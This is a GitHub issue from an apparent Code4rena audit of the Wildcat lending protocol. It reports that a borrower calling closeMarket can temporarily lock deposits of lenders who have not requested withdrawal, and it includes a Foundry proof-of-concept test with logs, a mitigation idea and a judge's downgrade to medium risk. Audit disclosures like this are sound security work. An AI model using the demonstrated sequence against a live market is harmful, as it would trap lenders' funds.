Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Borrower can lock lender funds in market via WildcatMarket::closeMarket #101

Closed
howlbot-integration bot opened this issue Sep 20, 2024 · 3 comments
Closed
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-52 edited-by-warden 🤖_12_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@howlbot-integration
Copy link

Lines of code

https://github.com/code-423n4/2024-08-wildcat/blob/fe746cc0fbedc4447a981a50e6ba4c95f98b9fe1/src/market/WildcatMarket.sol#L226-L287

Vulnerability details

Impact

The WildcatMarket::closeMarket is callable only by the market's borrower should they decide to end a formerly operating market. This transfers asset out of market in 2 cases.

  1. To borrower if currentlyHeld > totalDebts. currentlyHeld = totalAssets() held in market and totalDebts = state.totalDebts() withdrawn from market by borrower.
  2. To lender if there is a pending withdrawal batch which is not fully paid off.

And what about lenders who don't withdraw from the market?

There is an edge case here. Lenders who deposit into a market but don't request a withdraw can lose funds if borrower closes the market.

If lenders deposit loans into an operational market, and the borrower takes no debt, and the lenders do not queue a withdrawalRequest, the borrower can intentionally lock the lenders funds by calling WildcatMarket::closeMarket.

Damage of the protocol's reputation is most likely the goal since the borrower has nothing to lose here.

Proof of Concept

Below is a test with logs.

  function test_borrower_can_lock_lenders_funds_via_closeMarket() external asAccount(borrower) {
    address depositor1 = makeAddr("DEPOSITOR1");
    address depositor2 = makeAddr("DEPOSITOR2");
    // asset.mint(depositor, 1e18);
    // _approve(depositor, address(market), 1e18);
    // No need to mint and approve asset tokens for depositor
    // because _deposit() does both for the amount to be deposited.

    console.log("Depositor 1 balance before deposit: ", asset.balanceOf(depositor1)); 
    console.log("Depositor 2 balance before deposit: ", asset.balanceOf(depositor2)); 
    console.log("Borrower balance before deposits: ", asset.balanceOf(borrower));
    console.log("Market balance before deposits: ", asset.balanceOf(address(market)));

    _deposit(depositor1, 1e18); 
    // vm.warp(1 days);
    _deposit(depositor2, 1e18);

    console.log("Depositor 1 balance after deposit: ", asset.balanceOf(depositor1));
    console.log("Depositor 2 balance after deposit: ", asset.balanceOf(depositor2));
    console.log("Market balance after deposits: ", asset.balanceOf(address(market)));
    // startPrank(borrower);
    asset.approve(address(market), 1e18); //8e17
    
    // vm.warp(1 days); // Doesn't execute if up to 1 day is allowed to pass after deposit is made
    // Must be immediately after deposit 

    market.closeMarket();

    console.log("////////// AFTER CLOSING MARKET //////////");

    console.log("Borrower balance after closing market: ", asset.balanceOf(borrower)); // Took no debt from market
    console.log("Market balance after its closing: ", asset.balanceOf(address(market)));

    // The below scenario will revert since token is same as market underlying asset

    // console.log("////////// AFTER TOKENS RESCUE //////////");

    // market.rescueTokens(address(asset));
    // console.log("Borrower balance after rescue: ", asset.balanceOf(borrower));

  }     

The following result was emitted

Ran 1 test for test/market/WildcatMarket.t.sol:WildcatMarketTest
[PASS] test_borrower_can_lock_lenders_funds_via_closeMarket() (gas: 769695)
Logs:
  computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead.
  Depositor 1 balance before deposit:  0
  Depositor 2 balance before deposit:  0
  Borrower balance before deposits:  0
  Market balance before deposits:  0
  Depositor 1 balance after deposit:  0
  Depositor 2 balance after deposit:  0
  Market balance after deposits:  2000000000000000000
  ////////// AFTER CLOSING MARKET //////////
  Borrower balance after closing market:  0
  Market balance after its closing:  2000000000000000000

However, the borrower can't remove the tokens from the market since the WildcatMarket::rescueTokens checks that the token to be rescued is not same as market underlying asset. So the funds will be stuck in the market.

Tools Used

Manual review.

Recommended Mitigation Steps

Each lenders deposit amount should be stored. When they make a withdrawal, it should be deducted from their total deposits, and if not, their remaining deposit amount should be transferred to them should the borrower call WildcatMarket::closeMarket.

Assessed type

Other

@howlbot-integration howlbot-integration bot added 3 (High Risk) Assets can be stolen/lost/compromised directly 🤖_12_group AI based duplicate group recommendation bug Something isn't working duplicate-52 edited-by-warden sufficient quality report This report is of sufficient quality labels Sep 20, 2024
howlbot-integration bot added a commit that referenced this issue Sep 20, 2024
@3docSec
Copy link

3docSec commented Oct 3, 2024

Sticking to M because lock is only temporary (see #52)

@c4-judge
Copy link
Contributor

c4-judge commented Oct 3, 2024

3docSec changed the severity to 2 (Med Risk)

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Oct 3, 2024
@c4-judge
Copy link
Contributor

c4-judge commented Oct 3, 2024

3docSec marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Oct 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-52 edited-by-warden 🤖_12_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

2 participants